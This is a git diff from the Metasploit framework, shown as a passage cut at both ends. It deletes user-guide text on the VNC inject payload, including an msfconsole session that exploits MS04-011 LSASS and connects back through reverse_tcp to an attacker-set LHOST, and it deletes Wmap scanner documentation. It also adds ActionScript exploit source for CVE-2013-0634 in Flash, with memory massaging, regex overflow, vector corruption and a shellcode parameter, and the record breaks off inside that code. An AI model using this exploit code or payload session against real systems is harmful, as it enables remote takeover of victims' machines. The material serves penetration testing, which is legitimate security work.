written by Matt Miller and based on the RealVNC source code. -Additional modifications were made to allow the server to work with exploited, -non-interactive network services. This payload allows you to immediately access -the desktop of an exploited system using almost any Win32 exploit. The DLL is -loaded into the remote process using any of the staged loader systems, started -up as a new thread in the exploited process, and the listens for VNC client -requests on the same socket used to load the DLL. The Framework listens -on a local socket for a VNC client and proxies data across the payload -connection to the server. - -\par -The VNC server will attempt to obtain full access to the current interactive -desktop. If the first attempt fails, it will call RevertToSelf() and then try -the attempt again. If it still fails to obtain full access to this desktop, it -will fall back to a read-only mode. In read-only mode, the Framework user can -view the contents of the desktop, but not interact with it. If full access was -obtained, the VNC server will spawn a command shell on the desktop with the -privileges of the exploited service. This is useful in situations where an -unprivileged user is on the interactive desktop, but the exploited service is -running with System privileges. - -\par -If there is no interactive user logged into the system or the screen has been -locked, the command shell can be used to launch explorer.exe anyways. This can -result in some very confused users when the logon screen also has a Start Menu. -If the interactive desktop is changed, either through someone logging into the -system or locking the screen, the VNC server will disconnect the client. Future -versions may attempt to follow a desktop switch. - -\par -To use the VNC injection payloads, specify the full path to the VNC server as -the value of the \texttt{DLL} option. The VNC server can be found in the data -subdirectory of the Framework installation and is named 'vncdll.dll'. The source -code of the DLL can be found in the external/source/vncdll -subdirectory of the Framework installation. - -\par -There are a few situations where the VNC inject payload -will simply not work. These problems are often cause by strange execution -environments or other issues related to a specific exploit or injection method. -These issues will be addressed as time permits: -\begin{itemize} - \item The windows/brightstor/universal\_agent exploit will cause the VNC payload to - crash, possibly due to a strange heap state. -\end{itemize} - -\begin{verbatim} -msf > use windows/smb/ms04_011_lsass -msf exploit(ms04_011_lsass) > set RHOST some.vuln.host -RHOST => some.vuln.host -msf exploit(ms04_011_lsass) > set PAYLOAD windows/vncinject/reverse_tcp -PAYLOAD => windows/vncinject/reverse_tcp -msf exploit(ms04_011_lsass) > set LHOST your.own.ip -LHOST => your.own.ip -msf exploit(ms04_011_lsass) > set LPORT 4321 -LPORT => 4321 -msf exploit(ms04_011_lsass) > exploit -\end{verbatim} - -If the "vncviewer" application is in your path and the AUTOVNC option has been -set (it is by default), the Framework will automatically open the VNC desktop. -If you would like to connect to the desktop manually, \texttt{set AUTOVNC 0}, then use -vncviewer to connect to 127.0.0.1 on port 5900. - -\pagebreak -\chapter{More Information} - - -\section{Web Site} -\par -The metasploit.com web site is the first place to check for updated modules and -new releases. This web site also hosts the Opcode Database and a decent shellcode -archive. - -\section{Mailing List} -\par -Metasploit hosts two mailing lists -- Framework and Framework-Hackers. You can find -information about these mailing lists, along with their archives, at the following URL: -\url{http://spool.metasploit.com/} - -\section{Developers} -\par -If you are interested in helping out with the Framework project, or have any -questions related to module development, please contact the development team. The -Metasploit Framework development team can be reached at msfdev[at]metasploit.com. - -\pagebreak -\appendix - -\pagebreak -\chapter{Security} - -\par -We recommend that you use a robust, secure terminal emulator when -utilizing the command-line interfaces. Examples include \texttt{konsole}, -\texttt{gnome-terminal}, and recent versions of \texttt{PuTTY}. - -\par -We do not recommend that the \texttt{msfweb} interface be used on untrusted -networks. - - \section{Console Interfaces} -\par -The console does not perform terminal escape sequence filtering, this -could allow a hostile network service to do Bad Things (TM) to your terminal -emulator when the exploit or check commands are used. We suggest that you -use a terminal emulator which limits the functionality available through -hostile escape sequences. Please see the Terminal Emulator Security Issues paper -below for more information on this topic: - -\url{http://marc.info/?l=bugtraq&m=104612710031920&q=p3} - - - \section{Web Interface} -\par -The \texttt{msfweb} interface does not adequately filter certain arguments, -allowing a hostile web site operator to perform a cross-site scripting -attack on the \texttt{msfweb} user. - -\par -The \texttt{msfweb} interface does not provide any access control functionality. If -the service is configured to listen on a different interface (default is -loopback), a malicious attacker could abuse this to exploit remote systems -and potentially access local files. The local file access attack can be -accomplished by malicious arguments to the payloads which use a local file -as input and then exploiting a (fake) service to obtain the file contents. - - -\pagebreak -\chapter{General Tips} - - \section{Tab Completion} - \label{REF-TAB} -\par -On the Unix and Cygwin platforms, tab completion depends on the existence of the Readline -library when Ruby was compiled. Some operating systems, such as Mac OS X, have included -a version of Ruby without this support. To solve this problem, grab the latest version -of the Readline library, configure, build, and install it. Then grab the latest version -of the Ruby interpreter and do the same. The resulting Ruby binary can be used to start the -\texttt{msfconsole} interface with full tab completion support. - - - \section{Secure Socket Layer} - \label{REF-SSL} -\par -Nearly all TCP-based exploit and auxiliary modules have builtin support for the Secure Socket Layer. -This is a feature of the Socket class included with the Rex library. To indicate that all connections -should use SSL, set the \texttt{SSL} environment variable to \texttt{true} from within the Framework -interface. Keep in mind, that in most cases the default \texttt{RPORT} variable will need to be -changed as well. For example, when exploiting a web application vulnerability through SSL, the -\texttt{RPORT} value should be set to \texttt{443}. - -\pagebreak -\chapter{Licenses} - -\par -The Metasploit Framework is distributed under the modified-BSD license defined below. - -{\footnotesize -\begin{verbatim} -Copyright (c) 2008, Rapid7 LLC -All rights reserved. - -Redistribution and use in source and binary forms, with or without modification, -are permitted provided that the following conditions are met: - - * Redistributions of source code must retain the above copyright notice, - this list of conditions and the following disclaimer. - - * Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. - - * Neither the name of Rapid7 LLC nor the names of its contributors - may be used to endorse or promote products derived from this software - without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR -ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON -ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -\end{verbatim}} - -\end{document} diff --git a/documentation/users_guide_4.2.pdf b/documentation/users_guide_4.2.pdf deleted file mode 100644 index 2e4a7aa96f..0000000000 Binary files a/documentation/users_guide_4.2.pdf and /dev/null differ diff --git a/documentation/users_guide_4.3.pdf b/documentation/users_guide_4.3.pdf deleted file mode 100644 index 78beb39b4d..0000000000 Binary files a/documentation/users_guide_4.3.pdf and /dev/null differ diff --git a/documentation/wmap.txt b/documentation/wmap.txt deleted file mode 100644 index 0adf55cede..0000000000 --- a/documentation/wmap.txt +++ /dev/null @@ -1,567 +0,0 @@ - - .-.-.-..-.-.-..---..---. - | | | || | | || | || |-' - `-----'`-'-'-'`-^-'`-' - Metasploit Wmap 1.5 -============================================================================== -Efrain Torres et [ ] metasploit.com 2012 ------------------------------------------------------------------------------- - -=[ 0. Intro ] ---------------------------------------------------------------- - -So its 2012 and before the Mayans are proven to be right I was able to create -a new version of this plugin. If you have read the old wmap documentation this -is what is going on: - -Wmap is still a general purpose web application scanning framework for -Metasploit. Still is a different approach compared to other open source -alternatives and commercial scanners, as Wmap is not build around any browser -or spider for data capture and manipulation. And the best thing is that still -is FR33. Lots of bugs are gone and the new code allows for faster and more -efficient execution. - -=[ 1. How it works ] --------------------------------------------------------- - -The old architecture (versions < 1.5): - -[CLIENT] ----- [ATTACK PROXY] ----- [TARGET] - | | ^ - +--------->[METASPLOIT DB] | - | | - [MSF 3 - Wmap SCANNER] | - [MSF 3 - Wmap MODULES] -----+ - -The new architecture: - - [CLIENTS] - | - | - +-------[Wmap PLUGIN]<-----+----->[METASPLOIT DB] - | | | | - | | | | -[NODE 1] [NODE 2] [NODE n] ---------+ - | | | \ - | | | [Wmap MODULES] - +---------[TARGETS]--------+ - - -Wmap is a Metasploit plugin and will interact with the database, reading all -gathered traffic from any client you have configured/adapted or duct taped to -store web sites, requests, responses and forms in the Metasploit DB. - -The test performed are all Metasploit modules which WMAP execute in a -configurable order. The test modules are implemented as auxiliary or exploit -modules and they can interact with any other MSF component including the -database other exploits and plugins. - -The new architecture allows to have different distributed clients and nodes -all storing results and data to a central database. This means that large -enviorments can be tested using multiple metasploit msfrcpd servers (nodes) -controled from one (or more) WMAP consoles. Wmap will execute the tests to be -launched from each node distributing evenly the job load across all configured -nodes. - -In case you dont want to use a distributed model wmap will detect that no -nodes have been configured and will run the modules from the local host. - - -=[ 2. Crawlers,proxies and other clients ] ----------------------------------- - -At this time Metasploit have 4 components that may be used as clients -to store web sites in the database: - -(1) If you have configured your database properly and use the -auxiliary/scanner/http/crawler module, this module will create a web site -(with related host and service) and store all requests,responses and forms -automatically. - -(2) Less known is that metasploit has a different crawler called msfcrawler -and besides supporting modules to parse the responses in any way you want -it will also store the required data in the database. - -(3) Also any module that creates a web_site in the database (e.g. -auxiliary/scanner/http/http_version module) -will add a site to the database that can be selected as a target in Wmap, -however the only path you will be storing will be the root path of the -website '/'. - -(4) Metasploit has the awesome 'db_import' command that allows to import -multiple scan results from many sources. For tools like Acunetix, -Burp and Appscan the results contains web_pages and forms. For the rest -(at this time) the results will import services (no web sites, pages or -forms associated to them). - - msf > db_import - Usage: db_import [file2...] - - Filenames can be globs like *.xml, or **/*.xml which will search recursively - Currently supported file types include: - Acunetix XML - Amap Log - Amap Log -m - Appscan XML - Burp Session XML - ... - - -Or you can add a site manually to the database using the 'wmap_sites -a' -command (after loading the wmap plugin. See '4. Wmap Plugin'): - - msf > wmap_sites -a www.blah.net,http://192.168.0.2/ - [*] Site created. - - Note: www.blah.net,http://192.168.0.2/ <-- is one site vhost,url - -For other tools to store web data in the database the only hard part is to -deal with the ruby marshalling of parameters in the web_forms table. (Topic -for another paper). But this is one of the main issues regarding the use of -other tools to connect to the database. However any Ruby based tool can be -modified easily to do this. - -If you noticed the previous architecture the ATTACK PROXY has gone the way of -the Dodo (actually not as is just another client). But i will stop mention it -because i have been unable to create a good Ruby based MITM proxy (Sorry) -and second because i dont want to maintain plugins for every type of proxy -out there. Is your exercise to create custom plugins for your tools to connect -to the database, after that Wmap does not care where the data comes from. - -=[ 3. The Wmap cycle ]-------------------------------------------------------- - -Or how every other scanner works but in wmap fancy terms. - -0. Gather data from (See Crawlers,proxies and other clients) - targets -1. Load the scanner (Load wmap plugin. See "4. Wmap Plugin") -2. Optional: Define nodes (Use 'wmap_nodes'. See "6. Wmap Nodes") -3. Define targets (Use 'wmap_sites' and 'wmap_targets'.See "5. Wmap Targets") -4. Configure (Lots of things here) -5. Launch (Use 'wmap_run'. See "7. Launch a scan") -6. Enjoy WTF Moments(Priceless...) - -Note: Step 2 is optional as Wmap allows you to perform distributed scans -using multiple nodes. If no nodes are configured the scan runs as usual -running all tests from the local host. - -=[ 4. Wmap Plugin ]----------------------------------------------------------- - -To launch wmap open a Metasploit console and load the wmap plugin. - -msf > load wmap -[*] [Wmap 1.5] === et [ ] metasploit.com 2012 -[*] Successfully loaded plugin: wmap - -Now that the plugin is loaded lets go through the list of basic commands: - -msf > help wmap - -Wmap Commands -============= - - Command Description - ------- ----------- - wmap_nodes Manage nodes - wmap_run Test targets - wmap_sites Manage sites - wmap_targets Manage targets - wmap_modules Manage wmap modules - wmap_vulns Display web vulns - -=[ 5. Wmap Targets ]---------------------------------------------------------- - -The targets are selected from the sites already stored in the database. For -example after crawling a site (See "2. Crawlers,proxies and other clients"). -Now we can use the command 'wmap_sites' to list them: - -msf > wmap_sites -[*] Usage: wmap_sites [options] - -h Display this help text - -a [url] Add site (vhost,url) - -l List all available sites - -s [id] Display site structure (vhost,url|ids) (level) - -msf > wmap_sites -l -[*] Available sites -=============== - - Id Host Vhost Port Proto # Pages # Forms - -- ---- ----- ---- ----- ------- ------- - 0 10.10.10.1 blah.xyz.com 443 https 3 2 - 1 10.10.10.2 blah.xyz.com 443 https 3 2 - 2 10.1.2.2 nah.test.com 443 https 1 0 - 3 10.4.3.10 test.abcd.com 80 http 1 1 - -Note 1: Metasploit/Wmap supports multiple Vhosts/IPs. - -Note 2: If you want to check the web site structure use the '-s site_id' flag -like this (also especify an optional level to display): - -msf > wmap_sites -s 0 1 - (First level of site 0) -msf > wmap_sites -s 0 - - [10.10.10.1] (blah.xyz.com) - | - +-------- dir1 - | - +------ login.php - +-------- dir2 - .... - -Then from the table we can select the targets we want to scan with the -'wmap_targets' command: - -msf > wmap_targets -[*] Usage: Wmap_targets [options] - -h Display this help text - -t [urls] Define target sites (vhost1,url[space]vhost2,url) - -d [ids] Define target sites (id1, id2, id3 ...) - -c Clean target sites list - -l List all target sites - -You can define targets in two ways, using the vhost,url syntax (-t) or the -table ids (-d) - -msf > wmap_targets -t test.abcd.com,http://10.4.3.10/ - -msf > wmap_targets -d 0,1 -[*] Loading blah.xyz.com,https://10.10.10.1:443/. -[*] Loading blah.xyz.com,https://10.10.10.2:443/. - -To see the list of all the targets to scan at this time run the -command with the (-l) flag. - -msf > wmap_targets -l -[*] Defined targets -=============== - - Id Vhost Host Port SSL Path - -- ----- ---- ---- --- ---- - 0 blah.xyz.com 10.10.10.1 443 true / - 1 blah.xyz.com 10.10.10.2 443 true / - 2 test.abcd.com 10.4.3.10 80 false / - - -=[ 6. Wmap Nodes ]------------------------------------------------------------ - -Wmap uses 'nodes' as a way to distribute the execution of the test against -one or more targets. Nodes are not required to run wmap . if nodes are not -configured and a scan is launched wmap will detect this and launch all tests -from the local host. - -The nodes are just msfrpcd servers that are created the following way: - -msf>ruby msfrpcd -h - -Usage: msfrpcd - -OPTIONS: - - -P Specify the password to access msfrpcd - -S Disable SSL on the RPC socket - -U Specify the username to access msfrpcd - -a Bind to this IP address - -f Run the daemon in the foreground - -h Help banner - -n Disable database - -p Bind to this port instead of 55553 - -u URI for Web server - -msf>ruby msfrpcd -U msf -P nodepass -[*] MSGRPC starting on 192.168.0.1:55553 (SSL):Msg... -[*] MSGRPC backgrounding at 2012-01-17 11:01:01 -0600... - -if you want to create a msfrpc server from the msfconsole you can do it by -loading the msgrpc plugin: - -msf > load msgrpc User=msf Pass=nodepass -[*] MSGRPC Service: 127.0.0.1:55552 -[*] MSGRPC Username: msf -[*] MSGRPC Password: nodepass -[*] Successfully loaded plugin: msgrpc - -On a later stage in the wmap console we will add such nodes so the scans can -be distributed across all the configured nodes. so remember how you deployed -your nodes so they can be configured in wmap. - -In the metasploit console after you have loaded the wmap plugin you can add -the previous nodes with the 'wmap_nodes' command: - -msf > wmap_nodes -[*] Usage: wmap_nodes [options] - -h Display this help text - -c id Remove id node (Use ALL for ALL nodes - -a host port ssl user pass Add node - -d host port user pass db Force all nodes to connect to a db - -j View detailed jobs - -k ALL|id ALL|job_id Kill jobs on node - -l List all current nodes - -msf > wmap_nodes -a 192.168.0.1 55553 true msf nodepass -[*] Connected to 192.168.0.1:55553 [4.2.0-dev]. -[*] Node created. - -Note: When launching msfrpcd waiht for a couple of seconds beofr adding it to -wmap as msfrpcd sometimes is slow to start accepting connections. - -Add as many nodes you want. To see the list use 'wmap_nodes -l': - -msf > wmap_nodes -l -[*] Nodes -===== - - Id Host Port SSL User Pass Status #jobs - -- ---- ---- --- ---- ---- ------ ----- - 0 127.0.0.1 55553 true msf nodepass 4.2.0-dev 0 - 1 192.168.0.1 55553 true msf nodepass 4.2.0-dev 0 - -Note: After launching all tests this command will allow you to see if all -your jobs have been completed (#jobs == 0). - -Remember that all these commands can be added as a .rc file so you dont -have to type again and again the loading of wmap and the configuration of -nodes. - -After you have your nodes connected then you can force them to connect to -the central metasploit database: - -msf > wmap_nodes -d 127.0.0.1 7175 dbuser dbpass msf3 -[*] db_connect {"driver"=>"postgresql", "db"=>"msf3"} 127.0.0.1:7175 OK -[*] db_connect {"driver"=>"postgresql", "db"=>"msf3"} 192.168.0.1:7175 OK -[*] OK. - - -=[ 7. Launch a scan ]--------------------------------------------------------- - -Now that database,targets and maybe nodes are set we run a scan with the -'wmap_run' command: - -msf > wmap_run -[*] Usage: wmap_run [options] - -h Display this help text - -t Show all enabled modules - -m [regex] Launch only modules that match provided regex - -p [regex] Only test path defined by regex.. - -e [/path/to/profile] Launch profile modules against all targets. - No file runs all enabled modules. - -msf > wmap_run -e -[*] Using ALL wmap enabled modules. -[*] Testing target: -[*] Site: test.abcd.com (10.4.3.10) -[*] Port: 80 SSL: false -============================================================ -[*] Testing started. 2012-12-21 0:0:0 -0600 -[*] -=[ SSL testing ]= -============================================================ -[*] Target is not SSL. SSL modules disabled. -[*] -=[ Web Server testing ]= -============================================================ -[*] Module auxiliary/admin/http/http_version -[*] Module auxiliary/admin/http/tomcat_administration -[*] Module auxiliary/admin/http/tomcat_utf8_traversal -[*] Module auxiliary/admin/http/trendmicro_dlp_traversal -[*] Module auxiliary/scanner/http/cisco_nac_manager_traversal -.... -msf > - -As you see here wmap executes each of the modules against the defined targets. -(See "8. Wmap Modules") If nodes were configured it will go thru the list of -nodes and will send a job to the less loaded node to execute the especific -module with the required options. To force a good job distribution across the -nodes wmap has a limit of 25 jobs per node. If a node has reached the limit it -will try with the next node until there is a slot available. - -Check periodically with the 'wmap_nodes -l' command to see the current job -status. After the asssement is complete now you can use the normal metasploit -commands to see the results. - -To view detailed job information on each node use the 'wmap_nodes' (-j) flag: - -msf >wmap_nodes -j -[*] [Node #0: 127.0.0.1 Port:55553 SSL:true User:msf] -[*] Jobs - ==== - - Id Job name Target PATH - -- -------- ------ ---- - 0 Auxiliary: scanner/http/dir_scanner 192.168.0.1:80 / - ... - - -[*] [Node #1: 127.0.0.1 Port:55555 SSL:true User:msf] -[*] Jobs - ==== - - Id Job name Target PATH - -- -------- ------ ---- - 2 Auxiliary: scanner/http/dir_scanner 192.168.0.2:80 / - ... - -Also you can kill especific jobs or all jobs from one or all nodes: - -msf > wmap_nodes -k 0 ALL -[*] Node 0 Killed job id 262 Auxiliary: admin/http/tomcat_administration -[*] Node 0 Killed job id 263 Auxiliary: admin/http/tomcat_utf8_traversal -[*] Node 0 Killed job id 271 Auxiliary: scanner/http/soap_xml -[*] Node 0 Killed job id 299 Auxiliary: scanner/http/brute_dirs -[*] Node 0 Killed job id 300 Auxiliary: scanner/http/brute_dirs -[*] Node 0 Killed job id 301 Auxiliary: scanner/http/brute_dirs -.... - -If during the scan a node dies wmap will disable the node and will keep -sending the jobs to the other active nodes. - -If nodes were not configured wmap will launch the tests from the -local host the old fashion. - -=[ 8. Wmap Modules ] --------------------------------------------------------- - -Wmap modules are normal Metasploit modules. Each module has a WMAP type, -this determine when the module is launched and to a certain degree,the minimum -type of information it requires to be executed. The best way to develop a new -test for wmap, is to use already implemented modules as a base and then -develop a normal MSF module that can be run manually from the command line. To -enable a module to be run automatically via wmap just include the mixin that -determine the type of the module (Means: just add the example string to a -module and use the correct type). - - Example: - - include Auxiliary::WmapScanFile - -The following are the types of modules implemented at this time and they are -listed in the order WMAP runs them: - -WmapScanSSL - Run once against a SSL server -WmapScanServer - Run once against a target Web Server -WmapScanDir - Runs for every directory found in the target -WmapScanFile - Runs for every file found in the target -WmapScanUniqueQuery - Runs for every unique query found in each request to the - target -WmapScanQuery - Runs for every query found in each request to the target -WmapScanGeneric - Modules to be run after all tests complete.Good place to - perform passive analysis of responses, analysis of test - results to launch other modules (i.e. exploits). - -Note: Multiple mixins can be included in a module if needed. - -The execution order not only is handled by the wmap type but also it can be -adjusted across all modules by defining a wmap orderid number using the -'register_wmap_options' method. - -Using http_version.rb module as an example: - -Class Metasploit3 < Msf::Auxiliary - - # Exploit mixins should be called first - include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::WmapScanServer - # Scanner mixin should be near last - include Msf::Auxiliary::Scanner - - def initialize - super( - 'Name' => 'HTTP Version Detection', - ... - ) - - register_wmap_options({ - 'OrderID' => 0, - 'Require' => {}, - }) - ... - -'OrderID' Numeric value that represents the order ALL modules will be executed - You can see the modules and orderid with the 'wmap_modules -l' - command: - - msf > wmap_modules -l - - -'Require' Array of all the modules orderids that are required to be executed - and finished first before the curent module. (This specific - funtionality is still in the works, but the objective is to have - modules to provide results as input to other modules.) - -Wmap enabled modules can be reloaded using the wmap_modules -r command. - -=[ 9. RANDOM NOTES ]---------------------------------------------------------- - -Because every test is a module the datastore is sent to the module in the node -for execution. If a module you create needs a specific option set before -launch just set it in the console as a regular variable. For example: - -msf > set DOMAIN abcd.com -DOMAIN => abcd.com -msf > - -This is usefull if you want to include exploits in the testing and not only -auxiliary modules. WMAP looks for wmap enabled modules in ALL auxiliary and -exploit modules. - -Also if you have asked yourself why there are commands that receive not only -table id but the ugly vhost,url syntax for site and target definition is -because this allows to do complex scripts, so be creative. - -If you see a Reauth message in WMAP is because the XMLRPC token is not valid -and a reauthentication to the nodes is required. But dont worry wmap does that -automaticaly for you. - -=[ 10. Results ]-------------------------------------------------------------- - -Modules may report results as notes (notes) , vulnerabilities (vulns) and/or -web vulnerabilities (web vulns). As notes and general vulnerabilities can be -displayed using the metasploit commands 'notes' and 'vulns', Wmap implements -'wmap_vulns' to display the results stored in the web_vulns db table. The -reporting is basic at this time , however the Metasploit database can be -easily accessed to fullfill your reporting needs. - -Note: Always check 'notes', 'vulns' and 'wmap_vulns' for results. - - -=[ 11. TO DO ]---------------------------------------------------------------- - -- The quality of the scan depends on the quality of the modules. So please -contribute more modules and improvements. If you dont contribute , you dont -have the right to complain. The only key issues to consider are: - - + The module should follow metasploit guidelines - + Add the right mixin(s) - + The module should store the right data and results in the database - + Always use report_vuln or report_web_vuln to report output from a - module as report_note overwrites results if 'type' is the same. - + The module has to have a clear purpose!!!! - Is better to have multiple modules with simple tasks/objectives that - one that does everything. - + The variables/options used in the datastore have to be the same between - wmap and the module so wmap can pass the right information to it. - Usually this is the naming convention to use for the options: - - OptString: - - 'VHOST' = HTTP Virtual Host - 'METHOD' = HTTP Method - 'PATH' = HTTP URI Path. - 'QUERY' = HTTP URI Query usually in the param1=value1& form. - 'DATA' = HTTP Data. In a POST request is the body of the request. - Usually in the param1=value1& form. - 'HEADERS'= HTTP headers (header1=value1;..) - - OptBool: - - 'VERBOSE'= Verbose flag. - - Note: This naming convention may change. However if this naming - convention is used any changes can be implemented easily. - -- Also if you want to take the big task of developing a ruby MITM proxy for -metasploit that will be very helpfull for the project. - -=[ Disclaimer ]--------------------------------------------------------------- -I dont work for R7. XD -============================================================================== - et [ ] metasploit.com 2012 - - diff --git a/external/ruby-kissfft/ext/kissfft/main.c b/external/ruby-kissfft/ext/kissfft/main.c index 564378f7a8..13c0a94f1b 100644 --- a/external/ruby-kissfft/ext/kissfft/main.c +++ b/external/ruby-kissfft/ext/kissfft/main.c @@ -1,6 +1,6 @@ /* ruby-kissfft: a simple ruby module embedding the Kiss FFT library - Copyright (C) 2009-2010 Rapid7 LLC - H D Moore + Copyright (C) 2009-2010 Rapid7, Inc - H D Moore Derived from "psdpng.c" from the KissFFT tools directory Copyright (C) 2003-2006 Mark Borgerding diff --git a/external/ruby-lorcon/Lorcon.c b/external/ruby-lorcon/Lorcon.c index bfd427b744..196d67919b 100644 --- a/external/ruby-lorcon/Lorcon.c +++ b/external/ruby-lorcon/Lorcon.c @@ -33,7 +33,7 @@ */ /* - All ruby-lorcon/rubyisms are by Rapid7 LLC (C) 2006-2007 + All ruby-lorcon/rubyisms are by Rapid7, Inc (C) 2006-2007 http://metasploit.com/ - msfdev[at]metasploit.com */ diff --git a/external/ruby-lorcon2/Lorcon2.c b/external/ruby-lorcon2/Lorcon2.c index 226b6cc773..1a69658d2d 100644 --- a/external/ruby-lorcon2/Lorcon2.c +++ b/external/ruby-lorcon2/Lorcon2.c @@ -37,7 +37,7 @@ */ /* - All ruby-lorcon/rubyisms are by Metasploit LLC (C) 2006-2007 + All ruby-lorcon/rubyisms are by Rapid7, Inc. (C) 2006-2007 http://metasploit.com/ - msfdev[at]metasploit.com */ diff --git a/external/source/DLLHijackAuditKit/analyze.js b/external/source/DLLHijackAuditKit/analyze.js index 75e6e9720b..9b8ad64f76 100644 --- a/external/source/DLLHijackAuditKit/analyze.js +++ b/external/source/DLLHijackAuditKit/analyze.js @@ -1,4 +1,4 @@ -/* DLLHijackAuditKit (C) 2010 Rapid7 LLC */ +/* DLLHijackAuditKit (C) 2010 Rapid7, Inc */ var oFso = new ActiveXObject("Scripting.FileSystemObject"); var oShl = new ActiveXObject("WScript.Shell"); diff --git a/external/source/DLLHijackAuditKit/audit.js b/external/source/DLLHijackAuditKit/audit.js index b9b1149fe2..2ad17d3767 100644 --- a/external/source/DLLHijackAuditKit/audit.js +++ b/external/source/DLLHijackAuditKit/audit.js @@ -1,4 +1,4 @@ -/* DLLHijackAuditKit (C) 2010 Rapid7 LLC */ +/* DLLHijackAuditKit (C) 2010 Rapid7, Inc */ function print_status(msg) { try { diff --git a/external/source/exploits/CVE-2013-0634/exploit.as b/external/source/exploits/CVE-2013-0634/exploit.as new file mode 100755 index 0000000000..4b028e54eb --- /dev/null +++ b/external/source/exploits/CVE-2013-0634/exploit.as @@ -0,0 +1,545 @@ +// Compile with: mxmlc exploit.as -o exploit.swf +package +{ + import flash.display.Sprite; + import flash.media.Sound; + import flash.utils.ByteArray; + import __AS3__.vec.Vector; + import flash.display.LoaderInfo; + import flash.system.Capabilities; + import flash.utils.Endian; + import __AS3__.vec.*; + import flash.utils.*; + import flash.display.*; + import flash.media.*; + import flash.system.*; + import flash.external.*; + import flash.net.*; + + public class exploit extends Sprite + { + public var flash_version:Number; + public var sound_object:Sound; + public var byte_array:ByteArray; + public var massaged_memory:Vector.; + public var vector_object_offset_4:uint; // For overwritting and restoring purposes; float in memory needs 8 bytes + public var TweakedVector:Vector.; + public var TweakedVector_address:uint; + public var sound_address:uint; + public var sound_address_vtable:uint; + public var sound_address_offset_4:uint; // For overwritting and restoring purposes; float in memory needs 8 bytes + public var byte_array_data_address:uint; + public var ntdll_base:uint; + public var ntdll_pe_file_header:uint; + public var stack_pivot:uint; + public var virtual_alloc_address:uint; + public var last_leaked_address:uint; + public var last_leak:Vector.; + + public function exploit():void + { + this.sound_object = new Sound(); + this.byte_array = new ByteArray(); + this.massaged_memory = new Vector.(0); + this.last_leak = new Vector.(2); + super(); + var loader:LoaderInfo = LoaderInfo(this.root.loaderInfo); + var shellcode:String = ((loader.parameters.hasOwnProperty("his")) ? loader.parameters["his"] : null); + if (shellcode == null){ + return; + }; + if (!this.CheckVersion()){ + return; + }; + this.ExploitIt(shellcode); + this.Restore(); + } + + public function CheckVersion():Boolean + { + var capabilities:* = Capabilities.version.toLowerCase().split(" "); + if (capabilities[0] != "win"){ + return (false); + }; + this.flash_version = Number(capabilities[1].substr(0, 4).split(",").join("")); + if ((((this.flash_version < 110)) && ((this.flash_version > 115)))){ + return (false); + }; + return (true); + } + + public function PrepareMemoryAndOverflow():RegExp + { + var index:uint; + var tmp_vector:Vector.; + index = 0; + + while (index < 0x4000) { + tmp_vector = new Vector.(16); + tmp_vector[0] = new RegExp("sdfhefbwjghfewtyfnwgvwgbvhwasfgsvrtvcrgeeg", ""); + tmp_vector[1] = this.CreateVectorSixteenNumbers(); + tmp_vector[2] = this.CreateVectorSixteenNumbers(); + tmp_vector[3] = this.CreateVectorSixteenNumbers(); + tmp_vector[4] = this.CreateVectorSixteenNumbers(); + tmp_vector[5] = this.CreateVectorSixteenNumbers(); + tmp_vector[6] = this.CreateVectorSixteenNumbers(); + tmp_vector[7] = this.CreateVectorSixteenNumbers(); + tmp_vector[8] = this.CreateVectorSixteenNumbers(); + tmp_vector[9] = this.CreateVectorThirtyTwoObjects(); + tmp_vector[10] = this.CreateVectorThirtyTwoObjects(); + tmp_vector[11] = this.CreateVectorThirtyTwoObjects(); + tmp_vector[12] = this.CreateVectorThirtyTwoObjects(); + tmp_vector[13] = this.CreateVectorThirtyTwoObjects(); + tmp_vector[14] = this.CreateVectorThirtyTwoObjects(); + tmp_vector[15] = this.CreateVectorThirtyTwoObjects(); + this.massaged_memory[index] = tmp_vector; + index++; + }; + index = 0x2000; + + // Make some holes + while (index < 0x3fff) { + if ((index % 2) != 0){ + this.massaged_memory[index][2] = null; + }; + index++; + }; + + // Hopefully reuse a hole and overflow a tmp_vector[3] field + return (new RegExp("(?i)()()(?-i)||||||||||||||||||||||", "")); + } + + public function SearchOverflowedTweakAndRestore():Boolean + { + var index:uint; + var numbers_vector_index:uint; + var overflowed_vector:Vector.; + var fingerprint:Number; + index = 0; + _loop_1: + while (index < 0x4000) { + numbers_vector_index = 1; + while (numbers_vector_index < 9) { + try { + // If the length is bigger than 17, the vector's length has been overflowed + if ((this.massaged_memory[index][numbers_vector_index] as Vector.).length > 17){ + overflowed_vector = (this.massaged_memory[index][numbers_vector_index] as Vector.); + if (this.ReadTwoUint(overflowed_vector, 17)[0] == 16) { + break _loop_1; + } + return (false); + }; + } catch(e:Error) { + }; + numbers_vector_index++; + }; + index++; + }; + + if (overflowed_vector){ + this.vector_object_offset_4 = this.ReadTwoUint(overflowed_vector, 17)[1]; + // Overwrite the length of the vector following the overflowed one: + // reused hole (vector) ==> overflowed vector ==> corrupted (tweaked) vector + overflowed_vector[17] = this.TwoUintToFloat(0xFFFFFFFE, this.vector_object_offset_4); + // corrupts the first position of the corrupted (tweaked) vector, so we can find it + // in the future easily. + fingerprint = (overflowed_vector[18] = this.TwoUintToFloat(0x41414141, 0)); + index = 0; + while (index < 0x4000) { + numbers_vector_index = 1; + while (numbers_vector_index < 9) { + try { + // restore the overflowed vector's length + if ((this.massaged_memory[index][numbers_vector_index] as Vector.)[0] == fingerprint){ + 